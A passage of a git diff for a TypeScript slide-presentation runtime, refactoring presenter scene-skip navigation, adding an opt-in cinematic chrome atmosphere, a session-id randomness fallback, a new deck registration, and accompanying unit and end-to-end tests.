explicit PUL-F021 pause is in effect — release any beat hold and - * resume playback. ADR-024 permits skip to move the frozen playhead - * while paused (presenter scrubbing), but it must not resume. + * Shared skip body: seek to `target`, report the new active segment, + * then — unless an explicit PUL-F021 pause is in effect — release any + * beat hold and resume playback. ADR-024 permits skip to move the + * frozen playhead while paused (presenter scrubbing), but it must not + * resume. */ function presenterSkip( master: MasterTimeline, state: PresenterTransportState, - target: number | undefined, + target: MasterSegment | undefined, + onSegmentChange: (segment: MasterSegment) => void, ): void { - if (target !== undefined) master.seek(target); + if (target === undefined) return; + master.seek(target.time); + state.activeSegmentIndex = target.index; + onSegmentChange(target); if (state.explicitlyPaused) return; state.held = false; if (master.isPaused()) master.play(); @@ -896,27 +963,31 @@ function presenterSkip( function presenterSkipForward( master: MasterTimeline, - segments: readonly SceneTimelineSegment[], + segments: readonly MasterSegment[], state: PresenterTransportState, + onSegmentChange: (segment: MasterSegment) => void, ): void { - const next = buildSegmentLabelMap(segments, master).find((s) => s.time > master.time() + 0.05); - presenterSkip(master, state, next?.time); + state.activeSegmentIndex = segmentIndexAtTime(segments, master.time()); + const targetIndex = Math.min(state.activeSegmentIndex + 1, segments.length - 1); + presenterSkip(master, state, segments[targetIndex], onSegmentChange); } function presenterSkipBackward( master: MasterTimeline, - segments: readonly SceneTimelineSegment[], + segments: readonly MasterSegment[], state: PresenterTransportState, + onSegmentChange: (segment: MasterSegment) => void, ): void { - const segs = buildSegmentLabelMap(segments, master); - const prev = [...segs].reverse().find((s) => s.time < master.time() - 0.2); - presenterSkip(master, state, prev?.time ?? 0); + state.activeSegmentIndex = segmentIndexAtTime(segments, master.time()); + const targetIndex = Math.max(state.activeSegmentIndex - 1, 0); + presenterSkip(master, state, segments[targetIndex], onSegmentChange); } function applyPresenterCommandToMaster( master: MasterTimeline, - segments: readonly SceneTimelineSegment[], + segments: readonly MasterSegment[], state: PresenterTransportState, + onSegmentChange: (segment: MasterSegment) => void, cmd: { readonly kind: string }, ): void { switch (cmd.kind) { @@ -941,13 +1012,13 @@ function applyPresenterCommandToMaster( master.play(); return; case 'advance': - presenterAdvance(master, segments, state); + presenterAdvance(master, segments, state, onSegmentChange); return; case 'skip-forward': - presenterSkipForward(master, segments, state); + presenterSkipForward(master, segments, state, onSegmentChange); return; case 'skip-backward': - presenterSkipBackward(master, segments, state); + presenterSkipBackward(master, segments, state, onSegmentChange); return; default: return; // toggle-master-mute / toggle-practice / unknown — not master's concern @@ -1023,6 +1094,67 @@ function runMasterUntilDone( }); } +const createSegmentReporter = ( + onSegmentChange: ((segment: MasterSegment) => void) | undefined, +): ((segment: MasterSegment) => void) => { + let lastReportedSegment: string | null = null; + return (segment) => { + const key = `${segment.label}@${segment.index}`; + if (key === lastReportedSegment) return; + lastReportedSegment = key; + onSegmentChange?.(segment); + }; +}; + +const buildRunComposeOptions = ( + opts: CompositionTimelineRunOptions, + options: GsapCompositionTimelineOptions, + reportSegmentChange: (segment: MasterSegment) => void, +): ComposeMasterTimelineOptions => { + const composeOpts: ComposeMasterTimelineOptions = {}; + if (options.transitions !== undefined) { + (composeOpts as { transitions?: TransitionRegistry }).transitions = options.transitions; + } + if (options.transitionOverlay !== undefined) { + (composeOpts as { transitionOverlay?: HTMLElement | null }).transitionOverlay = + options.transitionOverlay; + } + if (options.onSegmentChange !== undefined) { + (composeOpts as { onSegmentStart?: (segment: MasterSegment) => void }).onSegmentStart = + reportSegmentChange; + } + if (opts.headCueGate === 'monotonic-forward' && opts.audioCueGate !== undefined) { + (composeOpts as { audioCueGate?: CueGateControl }).audioCueGate = opts.audioCueGate; + } + return composeOpts; +}; + +const reportInitialSegment = ( + master: MasterTimeline, + segmentAnchors: readonly MasterSegment[], + reportSegmentChange: (segment: MasterSegment) => void, +): void => { + const initialSegment = segmentAnchors[segmentIndexAtTime(segmentAnchors, master.time())]; + if (initialSegment !== undefined) reportSegmentChange(initialSegment); +}; + +const wirePresenterCommands = ( + master: MasterTimeline, + segmentAnchors: readonly MasterSegment[], + opts: CompositionTimelineRunOptions, + reportSegmentChange: (segment: MasterSegment) => void, +): void => { + if (opts.presenter === undefined) return; + const transport: PresenterTransportState = { + held: false, + explicitlyPaused: false, + activeSegmentIndex: segmentIndexAtTime(segmentAnchors, master.time()), + }; + opts.presenter.subscribe((cmd) => { + applyPresenterCommandToMaster(master, segmentAnchors, transport, reportSegmentChange, cmd); + }); +}; + /** * Build the GSAP-backed {@link CompositionTimelineAdapter} the * workbench wires onto the composition resolver. Each @@ -1047,32 +1179,19 @@ function runMasterUntilDone( export function createGsapCompositionTimeline( options: GsapCompositionTimelineOptions, ): CompositionTimelineAdapter { - const { engine, onMaster, transitions, transitionOverlay } = options; + const { engine, onMaster, onSegmentChange } = options; return { run(segments, opts) { let master: MasterTimeline; let mode: MasterRunMode; + let segmentAnchors: readonly MasterSegment[]; + const reportSegmentChange = createSegmentReporter(onSegmentChange); try { - // Build the options object piecewise so the - // exactOptionalPropertyTypes-strict signature doesn't see - // `undefined` for unset keys. - const composeOpts: ComposeMasterTimelineOptions = {}; - if (transitions !== undefined) { - (composeOpts as { transitions?: TransitionRegistry }).transitions = transitions; - } - if (transitionOverlay !== undefined) { - (composeOpts as { transitionOverlay?: HTMLElement | null }).transitionOverlay = - transitionOverlay; - } - // PUL-F017 / ADR-020: wire the dynamic audio cue gate into the - // master ONLY under the scrub run mode. Outside scrub the gate - // is never wired, so a normal play-through master's transport - // never toggles cue eligibility. - if (opts.headCueGate === 'monotonic-forward' && opts.audioCueGate !== undefined) { - (composeOpts as { audioCueGate?: CueGateControl }).audioCueGate = opts.audioCueGate; - } + const composeOpts = buildRunComposeOptions(opts, options, reportSegmentChange); master = composeMasterTimeline(engine, segments, composeOpts); + segmentAnchors = buildSegmentLabelMap(segments, master); mode = positionMaster(master, segments[0]?.id, opts); + reportInitialSegment(master, segmentAnchors, reportSegmentChange); } catch (err) { return Promise.reject(err); } @@ -1088,14 +1207,7 @@ export function createGsapCompositionTimeline( // navigation. The controller is signal-bound (per-handler // auto-detach on navigation abort), so we never accumulate // subscriptions across activations. - if (opts.presenter !== undefined) { - // Per-activation transport state — fresh per navigation, so a - // prior navigation's hold / pause never leaks into this run. - const transport: PresenterTransportState = { held: false, explicitlyPaused: false }; - opts.presenter.subscribe((cmd) => { - applyPresenterCommandToMaster(master, segments, transport, cmd); - }); - } + wirePresenterCommands(master, segmentAnchors, opts, reportSegmentChange); return runMasterUntilDone(master, mode, opts.signal); }, }; diff --git a/src/runtime/workbench-chrome.ts b/src/runtime/workbench-chrome.ts index 7115364..a2e32e5 100644 --- a/src/runtime/workbench-chrome.ts +++ b/src/runtime/workbench-chrome.ts @@ -98,6 +98,12 @@ export interface WorkbenchChromeController { * moves between a chrome-on and chrome-hidden composition. */ setForcedVisibility(visibility: 'hidden' | null): void; + /** + * Enable or disable composition-scoped atmospheric chrome. Atmospherics + * are opt-in because they are part of a specific deck's visual design, + * not the default workbench background. + */ + setAtmosphere(atmosphere: 'cinematic' | null): void; /** * Tear down the chrome surface. Removes the element from the * workbench and makes subsequent `applyMode` calls no-ops. @@ -140,6 +146,7 @@ export function chromeVisibilityFor(mode: NavigationMode): 'visible' | 'hidden' } const VISIBILITY_ATTR = 'data-pulsar-chrome-visibility'; +const ATMOSPHERE_ATTR = 'data-pulsar-chrome-atmosphere'; /** * Build a {@link WorkbenchChromeController} backed by a DOM-shaped @@ -181,6 +188,14 @@ export function createDomWorkbenchChrome(host: WorkbenchChromeHost): WorkbenchCh if (disposed) return; forced = visibility; }, + setAtmosphere(atmosphere: 'cinematic' | null): void { + if (disposed) return; + if (atmosphere === null) { + element.removeAttribute(ATMOSPHERE_ATTR); + return; + } + element.setAttribute(ATMOSPHERE_ATTR, atmosphere); + }, dispose(): void { if (disposed) return; disposed = true; diff --git a/src/system/chrome/atmospheric.css b/src/system/chrome/atmospheric.css index 067a725..948c239 100644 --- a/src/system/chrome/atmospheric.css +++ b/src/system/chrome/atmospheric.css @@ -1,9 +1,11 @@ /* Pulsar L2 chrome — atmospheric layer stack. * - * Full-bleed fixed overlays providing the cinematic-thriller register - * across every deck: letterbox bars, vignette, scanlines, grain, - * screen flash, camera shake, glitch text. Z-layer stack is defined - * in `register/tokens.css` (vignette 47 → scanlines 48 → grain 49 → + * Full-bleed fixed overlays for the cinematic-thriller register: + * letterbox bars, vignette, scanlines, grain, screen flash, camera + * shake, glitch text. The animated atmosphere is opt-in per + * composition via `behavior.chrome: { atmosphere: "cinematic" }`; the + * workbench default is a clean stage. Z-layer stack is defined in + * `register/tokens.css` (vignette 47 → scanlines 48 → grain 49 → * bars 50 → flash 51) so per-deck CSS overrides can compose without * fighting the runtime. * @@ -28,6 +30,20 @@ overflow: hidden; } +.pulsar-vignette, +.pulsar-scanlines, +.pulsar-grain, +.pulsar-bars { + display: none; +} + +.pulsar-stage[data-pulsar-chrome-atmosphere="cinematic"] .pulsar-vignette, +.pulsar-stage[data-pulsar-chrome-atmosphere="cinematic"] .pulsar-scanlines, +.pulsar-stage[data-pulsar-chrome-atmosphere="cinematic"] .pulsar-grain, +.pulsar-stage[data-pulsar-chrome-atmosphere="cinematic"] .pulsar-bars { + display: block; +} + /* Page-level backdrop: deck content reads on the body's dark color * via the chrome surface's transparent backdrop. Decks override per * their own tokens.css. */ diff --git a/src/system/chrome/slots.ts b/src/system/chrome/slots.ts index 5131a49..56dc6c2 100644 --- a/src/system/chrome/slots.ts +++ b/src/system/chrome/slots.ts @@ -3,8 +3,8 @@ // The runtime's `WorkbenchChromeController` already mounts a single // `

` into the workbench before // navigation begins (PUL-F031). This module POPULATES that surface -// with the L2 chrome slot DOM (atmospheric overlays, title slot, -// brand slot, centerpiece slot, lower-third, tag, act-frame, flash) +// with the L2 chrome slot DOM (optional atmospheric overlays, title +// slot, brand slot, centerpiece slot, lower-third, tag, act-frame, flash) // and returns refs scenes can mount into. // // The slot refs are stable for the lifetime of the workbench — the @@ -111,8 +111,8 @@ export const mountChromeSlots = (host: MountChromeSlotsHost): ChromeSlots => { act.appendChild(actFrame); // Mount order matches the z-stack documented in tokens.css: - // atmospherics first (vignette, scanlines, grain), then bars, - // then slots and flash on top. + // optional atmospherics first (vignette, scanlines, grain), then + // bars, then slots and flash on top. surface.appendChild(vignette); surface.appendChild(scanlines); surface.appendChild(grain); diff --git a/src/system/presenter/bridge.ts b/src/system/presenter/bridge.ts index 977d856..abf5e4f 100644 --- a/src/system/presenter/bridge.ts +++ b/src/system/presenter/bridge.ts @@ -48,7 +48,19 @@ const presenterSessionIdFromLocation = (location: Pick): strin const createPresenterSessionId = (): string => { const crypto = globalThis.crypto; if (typeof crypto?.randomUUID === 'function') return crypto.randomUUID(); - throw new Error('secure random presenter session id source is unavailable'); + // `randomUUID()` is secure-context-only in Chromium. `getRandomValues()` + // remains available on HTTP origins and is the correct Web Crypto source + // for same-origin presenter channel isolation. This value never feeds + // scene rendering or screenshot capture. + const getRandomValues = crypto?.getRandomValues; // PUL-Q001-allow: presenter-session entropy, not scene rendering. + if (typeof getRandomValues === 'function') { + const bytes = new Uint8Array(16); + getRandomValues.call(crypto, bytes); + return Array.from(bytes, (byte) => byte.toString(16).padStart(2, '0')).join(''); + } + throw new Error( + 'secure random presenter session id source is unavailable: requires crypto.randomUUID or crypto.getRandomValues', + ); }; export const getPresenterSessionId = ( diff --git a/src/system/presenter/keyboard-source.ts b/src/system/presenter/keyboard-source.ts index c5bc378..a139988 100644 --- a/src/system/presenter/keyboard-source.ts +++ b/src/system/presenter/keyboard-source.ts @@ -3,9 +3,9 @@ // Translates keyboard events on the document into PresenterCommands. // The default mapping covers the documented presenter UX: // -// ArrowRight, Space → advance (next beat) -// PageDown → skip-forward (next scene) -// ArrowLeft, PageUp → skip-backward (previous scene) +// ArrowRight, PageDown → skip-forward (next scene) +// ArrowLeft, PageUp → skip-backward (previous scene) +// Space → advance (next beat / release hold) // KeyP → hold (hold the current beat) // KeyK → pause (freeze the active timeline — PUL-F021) // KeyL → resume (resume from the same point — PUL-F021) @@ -37,7 +37,7 @@ export interface KeyboardPresenterBindings { } export const DEFAULT_KEYBOARD_BINDINGS: KeyboardPresenterBindings = { - ArrowRight: 'advance', + ArrowRight: 'skip-forward', Space: 'advance', PageDown: 'skip-forward', ArrowLeft: 'skip-backward', diff --git a/src/workbench-graph.ts b/src/workbench-graph.ts index 8902608..da43aa8 100644 --- a/src/workbench-graph.ts +++ b/src/workbench-graph.ts @@ -13,6 +13,10 @@ // names the scenes and compositions this specific application ships. import { DEFAULT_COMPOSITION_ID, defaultComposition } from './compositions/default'; +import { + ACES_ECOSYSTEM_INTRO_SCENES, + acesEcosystemIntroCompositionEntry, +} from './decks/aces-ecosystem-intro'; import { PULSAR_INTRO_SCENES, pulsarIntroCompositionEntry } from './decks/pulsar-intro'; import type { CompositionRegistryEntry } from './runtime/composition-registry'; import type { SceneModule } from './runtime/scene'; @@ -77,11 +81,12 @@ const LOCAL_COMPOSITIONS: readonly CompositionRegistryEntry[] = Object.values( // that is byte-identical between two loads of the same URL). // // Pulsar L2: the pulsar-intro reference deck (`?composition=pulsar-intro`) -// is the self-referential proof of the L2 system layer. Its 15 scenes -// collectively exercise every shipped template, every transition, every -// chrome treatment, and every presenter key. Authoring a new scene in -// the deck is a single template-factory call in -// `src/decks/pulsar-intro/content.ts`. +// is the self-referential proof of the L2 system layer. Its scenes +// exercise the shipped template factories, transition kinds, chrome +// slots, metadata contracts, and presenter-driven scene shape. +// +// The ACES ecosystem intro (`?composition=aces-ecosystem-intro`) is a +// one-hour content deck built from the same public template surface. export const WORKBENCH_SCENES: readonly SceneModule[] = [ placeholderScene, browserSupportFixtureScene, @@ -91,11 +96,13 @@ export const WORKBENCH_SCENES: readonly SceneModule[] = [ scrubFixtureScene, screenshotRngFixtureScene, ...PULSAR_INTRO_SCENES, + ...ACES_ECOSYSTEM_INTRO_SCENES, ...LOCAL_SCENES, ]; export const WORKBENCH_COMPOSITIONS: readonly CompositionRegistryEntry[] = [ { id: DEFAULT_COMPOSITION_ID, manifest: defaultComposition }, pulsarIntroCompositionEntry, + acesEcosystemIntroCompositionEntry, ...LOCAL_COMPOSITIONS, ]; diff --git a/tests-e2e/aces-ecosystem-navigation.spec.ts b/tests-e2e/aces-ecosystem-navigation.spec.ts new file mode 100644 index 0000000..63b701d --- /dev/null +++ b/tests-e2e/aces-ecosystem-navigation.spec.ts @@ -0,0 +1,54 @@ +import { expect, test } from '@playwright/test'; + +const DECK_ROOT = '/?composition=aces-ecosystem-intro&mode=present'; + +const activeTemplates = async (page: import('@playwright/test').Page): Promise => + page.evaluate(() => + Array.from(document.querySelectorAll('#stage [data-pulsar-template-active="true"]')) + .map((el) => el.getAttribute('data-pulsar-template')) + .filter((id): id is string => id !== null), + ); + +const expectActiveScene = async ( + page: import('@playwright/test').Page, + expected: string, +): Promise => { + await expect + .poll(() => activeTemplates(page), { + message: `exactly ${expected} must be the active ACES scene`, + }) + .toEqual([expected]); + await expect(page.locator('#stage')).toHaveAttribute('data-pulsar-scene-target', expected); +}; + +test.describe('ACES ecosystem deck presenter navigation', () => { + test('arrow keys move exactly one scene and never leave the stage blank', async ({ page }) => { + const errors: string[] = []; + page.on('pageerror', (err) => errors.push(`pageerror: ${err.message}`)); + page.on('console', (msg) => { + if (msg.type() === 'error') errors.push(`console.error: ${msg.text()}`); + }); + + await page.goto(DECK_ROOT); + + await expect(page.locator('#stage')).toHaveAttribute( + 'data-pulsar-composition-target', + 'aces-ecosystem-intro', + ); + await expectActiveScene(page, 'aces-cover'); + + for (const expected of ['aces-non-claim', 'aces-toc', 'aces-1']) { + await page.keyboard.press('ArrowRight'); + await expectActiveScene(page, expected); + } + + for (const expected of ['aces-toc', 'aces-non-claim', 'aces-cover']) { + await page.keyboard.press('ArrowLeft'); + await expectActiveScene(page, expected); + } + + expect(errors, 'no uncaught exceptions or console errors during presenter navigation').toEqual( + [], + ); + }); +}); diff --git a/tests-e2e/pulsar-intro.spec.ts b/tests-e2e/pulsar-intro.spec.ts index e3c3a46..d2316b3 100644 --- a/tests-e2e/pulsar-intro.spec.ts +++ b/tests-e2e/pulsar-intro.spec.ts @@ -20,9 +20,9 @@ import { expect, test } from '@playwright/test'; // 5. Head-scene activation: the head template's // data-pulsar-template-active flips to "true" once the master // starts playing (present mode default). -// 6. Keyboard advance: ArrowRight fires an advance command (the -// key reaches the keyboard source). We don't assert what the -// master does in response — that's a per-template concern +// 6. Keyboard scene navigation: ArrowRight fires a skip-forward +// command (the key reaches the keyboard source). We don't assert +// what the master does in response — that's a per-template concern // tested separately — only that the key reaches the runtime // without throwing. @@ -86,10 +86,10 @@ test.describe('Pulsar L2 reference deck — pulsar-intro', () => { // Mount-then-play: every template root mounts as a descendant of // #stage before the master runs. Sample a representative subset - // (asserting all 17 here would couple the test to manifest order + // (asserting every entry here would couple the test to manifest order // changes; the existence of a few representative templates proves // the resolver mounted the slice). - for (const sceneId of ['pi-title', 'pi-stat-bespoke', 'pi-quote-thesis', 'pi-outro']) { + for (const sceneId of ['pi-title', 'pi-thesis', 'pi-composition', 'pi-outro']) { await expect( stage.locator(`[data-pulsar-template="${sceneId}"]`), `${sceneId} template root must mount as a descendant of #stage`, @@ -104,7 +104,7 @@ test.describe('Pulsar L2 reference deck — pulsar-intro', () => { 'head scene must become active under present-mode playback', ).toHaveAttribute('data-pulsar-template-active', 'true', { timeout: 10_000 }); - // Keyboard advance lands on the runtime without crashing. + // Keyboard scene navigation lands on the runtime without crashing. await page.keyboard.press('ArrowRight'); expect(errors, 'no uncaught exceptions or console errors during boot').toEqual([]); diff --git a/tests/runtime/scene-loader-chrome.test.ts b/tests/runtime/scene-loader-chrome.test.ts index 54b04a2..7d1b322 100644 --- a/tests/runtime/scene-loader-chrome.test.ts +++ b/tests/runtime/scene-loader-chrome.test.ts @@ -1,9 +1,10 @@ // Tests for the loader → chrome dispatch seam — PUL-F031 / ADR-031. // // The chrome controller is workbench-owned and built by `main.ts`; the -// loader's only job is to call `chrome.applyMode(effectiveMode(target))` -// once per navigation, before any lifecycle work, so chrome visibility -// tracks the addressed workbench mode. These tests pin that seam: +// loader's job is to apply the composition-scoped chrome policy, then +// call `chrome.applyMode(effectiveMode(target))` once per navigation, +// before any lifecycle work, so chrome visibility tracks the addressed +// workbench mode. These tests pin that seam: // // - Called exactly once per navigation with the effective mode. // - Called BEFORE `scene.create(ctx)` so chrome is in place when @@ -42,18 +43,34 @@ import { } from './scene-loader.helpers'; interface RecordingChrome { - readonly chrome: { applyMode(mode: NavigationMode): void }; + readonly chrome: { + applyMode(mode: NavigationMode): void; + setForcedVisibility(visibility: 'hidden' | null): void; + setAtmosphere(atmosphere: 'cinematic' | null): void; + }; readonly calls: readonly NavigationMode[]; + readonly forcedVisibilityCalls: readonly ('hidden' | null)[]; + readonly atmosphereCalls: readonly ('cinematic' | null)[]; } const recordingChrome = (): RecordingChrome => { const calls: NavigationMode[] = []; + const forcedVisibilityCalls: ('hidden' | null)[] = []; + const atmosphereCalls: ('cinematic' | null)[] = []; return { calls, + forcedVisibilityCalls, + atmosphereCalls, chrome: { applyMode: (mode) => { calls.push(mode); }, + setForcedVisibility: (visibility) => { + forcedVisibilityCalls.push(visibility); + }, + setAtmosphere: (atmosphere) => { + atmosphereCalls.push(atmosphere); + }, }, }; }; @@ -76,6 +93,96 @@ describe('createSceneLoader — chrome dispatch (PUL-F031 / ADR-031)', () => { expect(rec.calls).toEqual(['present']); }); + it('clears composition-scoped chrome policy on an ordinary navigation before applying mode', async () => { + const rec = recordingChrome(); + const scene = buildScene({ id: 'scene-a' }); + const loader = createSceneLoader({ + scenes: createSceneRegistry([scene]), + compositions: createCompositionRegistry([]), + stage: buildStage().element, + buildCtx: stubCtx, + createPreloader: () => () => undefined, + timeline: noopTimeline, + chrome: rec.chrome, + }); + + await loader.handle({ locator: { kind: 'scene', scene: 'scene-a' }, mode: 'present' }); + expect(rec.forcedVisibilityCalls).toEqual([null]); + expect(rec.atmosphereCalls).toEqual([null]); + expect(rec.calls).toEqual(['present']); + }); + + it('applies head-entry cinematic atmosphere for an opted-in composition', async () => { + const rec = recordingChrome(); + const scene = buildScene({ id: 'scene-a' }); + const loader = createSceneLoader({ + scenes: createSceneRegistry([scene]), + compositions: createCompositionRegistry([ + { + id: 'cinematic-deck', + manifest: [{ id: 'scene-a', behavior: { chrome: { atmosphere: 'cinematic' } } }], + }, + ]), + stage: buildStage().element, + buildCtx: stubCtx, + createPreloader: () => () => undefined, + timeline: noopTimeline, + chrome: rec.chrome, + }); + + await loader.handle(compositionTarget('cinematic-deck')); + expect(rec.forcedVisibilityCalls).toEqual([null]); + expect(rec.atmosphereCalls).toEqual(['cinematic']); + expect(rec.calls).toEqual(['present']); + }); + + it('clears cinematic atmosphere when navigating from an opted-in deck to a normal deck', async () => { + const rec = recordingChrome(); + const sceneA = buildScene({ id: 'scene-a' }); + const sceneB = buildScene({ id: 'scene-b' }); + const loader = createSceneLoader({ + scenes: createSceneRegistry([sceneA, sceneB]), + compositions: createCompositionRegistry([ + { + id: 'cinematic-deck', + manifest: [{ id: 'scene-a', behavior: { chrome: { atmosphere: 'cinematic' } } }], + }, + { id: 'normal-deck', manifest: ['scene-b'] }, + ]), + stage: buildStage().element, + buildCtx: stubCtx, + createPreloader: () => () => undefined, + timeline: noopTimeline, + chrome: rec.chrome, + }); + + await loader.handle(compositionTarget('cinematic-deck')); + await loader.handle(compositionTarget('normal-deck')); + expect(rec.atmosphereCalls).toEqual(['cinematic', null]); + expect(rec.calls).toEqual(['present', 'present']); + }); + + it("applies head-entry `chrome: 'hidden'` as a forced visibility override", async () => { + const rec = recordingChrome(); + const scene = buildScene({ id: 'scene-a' }); + const loader = createSceneLoader({ + scenes: createSceneRegistry([scene]), + compositions: createCompositionRegistry([ + { id: 'chromeless-deck', manifest: [{ id: 'scene-a', behavior: { chrome: 'hidden' } }] }, + ]), + stage: buildStage().element, + buildCtx: stubCtx, + createPreloader: () => () => undefined, + timeline: noopTimeline, + chrome: rec.chrome, + }); + + await loader.handle(compositionTarget('chromeless-deck')); + expect(rec.forcedVisibilityCalls).toEqual(['hidden']); + expect(rec.atmosphereCalls).toEqual([null]); + expect(rec.calls).toEqual(['present']); + }); + it('defaults to present when mode is absent (matches effectiveMode)', async () => { const rec = recordingChrome(); const scene = buildScene({ id: 'scene-a' }); diff --git a/tests/runtime/screenshot-determinism-source.test.ts b/tests/runtime/screenshot-determinism-source.test.ts index 1c7a444..76b97fe 100644 --- a/tests/runtime/screenshot-determinism-source.test.ts +++ b/tests/runtime/screenshot-determinism-source.test.ts @@ -55,8 +55,8 @@ import { describe, expect, it } from 'vitest'; // line comment (with at least one non-whitespace character after the // colon) is intentionally excluded from the scan. The exemption is // line-scoped to keep approval narrow and visible in code review. -// Exempted lines are determined by tokenizing the source through TS's -// scanner so a marker hidden inside a string literal is NOT honored. +// Exempted lines are determined from TS comment ranges attached to +// AST nodes, so a marker hidden inside a string literal is NOT honored. interface SourceFinding { readonly file: string; @@ -330,24 +330,27 @@ function isInTypePosition(node: ts.Node): boolean { function collectExemptedLines(sourceFile: ts.SourceFile): Set { const exempted = new Set(); const text = sourceFile.text; - const scanner = ts.createScanner( - ts.ScriptTarget.Latest, - /*skipTrivia=*/ false, - ts.LanguageVariant.Standard, - text, - ); - let token = scanner.scan(); - while (token !== ts.SyntaxKind.EndOfFileToken) { - if (token === ts.SyntaxKind.SingleLineCommentTrivia) { - const tokenText = scanner.getTokenText(); + const seen = new Set(); + const addRanges = (ranges: readonly ts.CommentRange[] | undefined): void => { + if (ranges === undefined) return; + for (const range of ranges) { + if (range.kind !== ts.SyntaxKind.SingleLineCommentTrivia) continue; + if (seen.has(range.pos)) continue; + seen.add(range.pos); + const tokenText = text.slice(range.pos, range.end); if (EXEMPT_REGEX.test(tokenText)) { - const start = scanner.getTokenStart(); - const { line } = sourceFile.getLineAndCharacterOfPosition(start); + const { line } = sourceFile.getLineAndCharacterOfPosition(range.pos); exempted.add(line); } } - token = scanner.scan(); - } + }; + const visit = (node: ts.Node): void => { + addRanges(ts.getLeadingCommentRanges(text, node.pos)); + addRanges(ts.getTrailingCommentRanges(text, node.end)); + ts.forEachChild(node, visit); + }; + addRanges(ts.getLeadingCommentRanges(text, 0)); + visit(sourceFile); return exempted; } @@ -928,6 +931,18 @@ describe('PUL-Q001 — screenshot determinism source scan', () => { ); expect(findings).toEqual([]); }); + + it('honors a trailing exemption on a later source line', () => { + const findings = scanSourceForNonDeterminism( + [ + 'const a = 1;', + 'crypto.getRandomValues(new Uint8Array(4)); // PUL-Q001-allow: non-render entropy', + 'const b = 2;', + ].join('\n'), + 'fake.ts', + ); + expect(findings).toEqual([]); + }); }); describe('reporting', () => { diff --git a/tests/runtime/timeline.test.ts b/tests/runtime/timeline.test.ts index d4f8020..b068da4 100644 --- a/tests/runtime/timeline.test.ts +++ b/tests/runtime/timeline.test.ts @@ -1041,6 +1041,7 @@ describe('createGsapCompositionTimeline — presenter command transport (PUL-F02 /** Run the adapter with a live presenter controller wired to the runner. */ const runWithPresenter = ( segments: readonly SceneTimelineSegment[], + onSegmentChange?: (segment: { readonly id: string; readonly index: number }) => void, ): { emit: (cmd: PresenterCommand) => void; master: () => MasterTimeline; @@ -1053,6 +1054,7 @@ describe('createGsapCompositionTimeline — presenter command transport (PUL-F02 let captured: MasterTimeline | null = null; const adapter = createGsapCompositionTimeline({ engine, + ...(onSegmentChange === undefined ? {} : { onSegmentChange }), onMaster: (m) => { captured = m; }, @@ -1146,6 +1148,45 @@ describe('createGsapCompositionTimeline — presenter command transport (PUL-F02 await r.settled; }); + it('skip-backward uses the scene cursor, not a fuzzy label search inside the current scene', async () => { + const seen: string[] = []; + const r = runWithPresenter( + [segment('a', sceneTl(20)), segment('b', sceneTl(20)), segment('c', sceneTl(20))], + (s) => seen.push(`${s.index}:${s.id}`), + ); + await flush(); + r.emit({ kind: 'skip-forward' }); + expect(r.master().time()).toBeCloseTo(20, 0); + r.master().seek(20.5); + r.emit({ kind: 'skip-backward' }); + expect(r.master().time()).toBeCloseTo(0, 0); + expect(seen).toEqual(['0:a', '1:b', '0:a']); + r.abort(); + await r.settled; + }); + + it('repeated scene skips report exactly one active segment per command target', async () => { + const seen: string[] = []; + const r = runWithPresenter( + [segment('a', sceneTl(20)), segment('b', sceneTl(20)), segment('c', sceneTl(20))], + (s) => seen.push(`${s.index}:${s.id}`), + ); + await flush(); + for (const kind of [ + 'skip-forward', + 'skip-forward', + 'skip-backward', + 'skip-forward', + 'skip-backward', + 'skip-backward', + ] as const) { + r.emit({ kind }); + } + expect(seen).toEqual(['0:a', '1:b', '2:c', '1:b', '2:c', '1:b', '0:a']); + r.abort(); + await r.settled; + }); + it('advance received while explicitly paused does not resume or move the playhead (ADR-024)', async () => { const r = runWithPresenter([segment('intro', sceneTl(30, { 'mid-beat': 15 }))]); await flush(); diff --git a/tests/runtime/workbench-chrome.test.ts b/tests/runtime/workbench-chrome.test.ts index c16e269..6a1dee5 100644 --- a/tests/runtime/workbench-chrome.test.ts +++ b/tests/runtime/workbench-chrome.test.ts @@ -157,6 +157,36 @@ describe('createDomWorkbenchChrome (PUL-F031 / ADR-031)', () => { expect(element.removeCount()).toBe(0); }); + it('forced visibility overrides mode mapping until cleared', () => { + const element = buildFakeElement(); + const chrome = createDomWorkbenchChrome({ + mount: () => undefined, + createSurface: () => element, + }); + chrome.setForcedVisibility('hidden'); + chrome.applyMode('present'); + expect(element.attrs.get('data-pulsar-chrome-visibility')).toBe('hidden'); + expect(element.isHidden()).toBe(true); + + chrome.setForcedVisibility(null); + chrome.applyMode('present'); + expect(element.attrs.get('data-pulsar-chrome-visibility')).toBe('visible'); + expect(element.isHidden()).toBe(false); + }); + + it('sets and clears the composition-scoped atmosphere attribute', () => { + const element = buildFakeElement(); + const chrome = createDomWorkbenchChrome({ + mount: () => undefined, + createSurface: () => element, + }); + chrome.setAtmosphere('cinematic'); + expect(element.attrs.get('data-pulsar-chrome-atmosphere')).toBe('cinematic'); + + chrome.setAtmosphere(null); + expect(element.attrs.has('data-pulsar-chrome-atmosphere')).toBe(false); + }); + it('dispose removes the element from the workbench and silences subsequent applyMode calls', () => { const element = buildFakeElement(); const chrome = createDomWorkbenchChrome({ @@ -173,6 +203,8 @@ describe('createDomWorkbenchChrome (PUL-F031 / ADR-031)', () => { const snapshot = new Map(element.attrs); const hiddenSnapshot = element.isHidden(); chrome.applyMode('screenshot'); + chrome.setForcedVisibility('hidden'); + chrome.setAtmosphere('cinematic'); expect(new Map(element.attrs)).toEqual(snapshot); expect(element.isHidden()).toBe(hiddenSnapshot); }); diff --git a/tests/system/aces-ecosystem-intro-deck.test.ts b/tests/system/aces-ecosystem-intro-deck.test.ts new file mode 100644 index 0000000..f33b7bf --- /dev/null +++ b/tests/system/aces-ecosystem-intro-deck.test.ts @@ -0,0 +1,70 @@ +// ACES ecosystem intro deck shape tests. + +import { describe, expect, it } from 'vitest'; +import { + ACES_ECOSYSTEM_INTRO_COMPOSITION_ID, + ACES_ECOSYSTEM_INTRO_SCENES, + acesEcosystemIntroComposition, + acesEcosystemIntroCompositionEntry, +} from '../../src/decks/aces-ecosystem-intro'; +import { assertSceneModule } from '../../src/runtime/scene'; + +describe('aces ecosystem intro deck', () => { + it('exports a non-empty scene array', () => { + expect(ACES_ECOSYSTEM_INTRO_SCENES.length).toBeGreaterThan(0); + }); + + it('every scene satisfies the SceneModule contract', () => { + for (const scene of ACES_ECOSYSTEM_INTRO_SCENES) { + expect(() => assertSceneModule(scene)).not.toThrow(); + } + }); + + it('every scene id is unique', () => { + const ids = new 